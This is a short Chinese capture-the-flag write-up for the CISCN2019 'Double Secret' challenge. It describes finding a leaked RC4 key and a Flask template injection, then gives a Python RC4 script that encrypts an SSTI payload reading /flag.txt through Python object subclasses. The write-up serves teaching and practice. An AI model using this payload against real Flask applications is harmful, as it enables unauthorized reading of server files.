[CISCN2019 华东南赛区]Double Secret
Welcome To Find Secret
记录一下……
寻找secret……扫不出后台,robots页面似乎没什么用……
尝试发现secret页面:
提交参数secret:
随便输入报错:
rc4似乎是需要密钥的一种加密,猜测此处暴漏了密钥
并且解密后进行模板渲染,flask,模板注入……
记录下脚本与用法……本地报错,搞了好长时间,输出又不对
拉到kali中,安装python3可以运行……很迷……
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| import base64 from urllib.parse import quote def rc4_main(key = "init_key", message = "init_message"): s_box = rc4_init_sbox(key) crypt = str(rc4_excrypt(message, s_box)) return crypt def rc4_init_sbox(key): s_box = list(range(256)) j = 0 for i in range(256): j = (j + s_box[i] + ord(key[i % len(key)])) % 256 s_box[i], s_box[j] = s_box[j], s_box[i] return s_box def rc4_excrypt(plain, box): res = [] i = j = 0 for s in plain: i = (i + 1) % 256 j = (j + box[i]) % 256 box[i], box[j] = box[j], box[i] t = (box[i] + box[j]) % 256 k = box[t] res.append(chr(ord(s) ^ k)) cipher = "".join(res) print("加密后的字符串是:%s" %quote(cipher)) return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8')) rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}")
|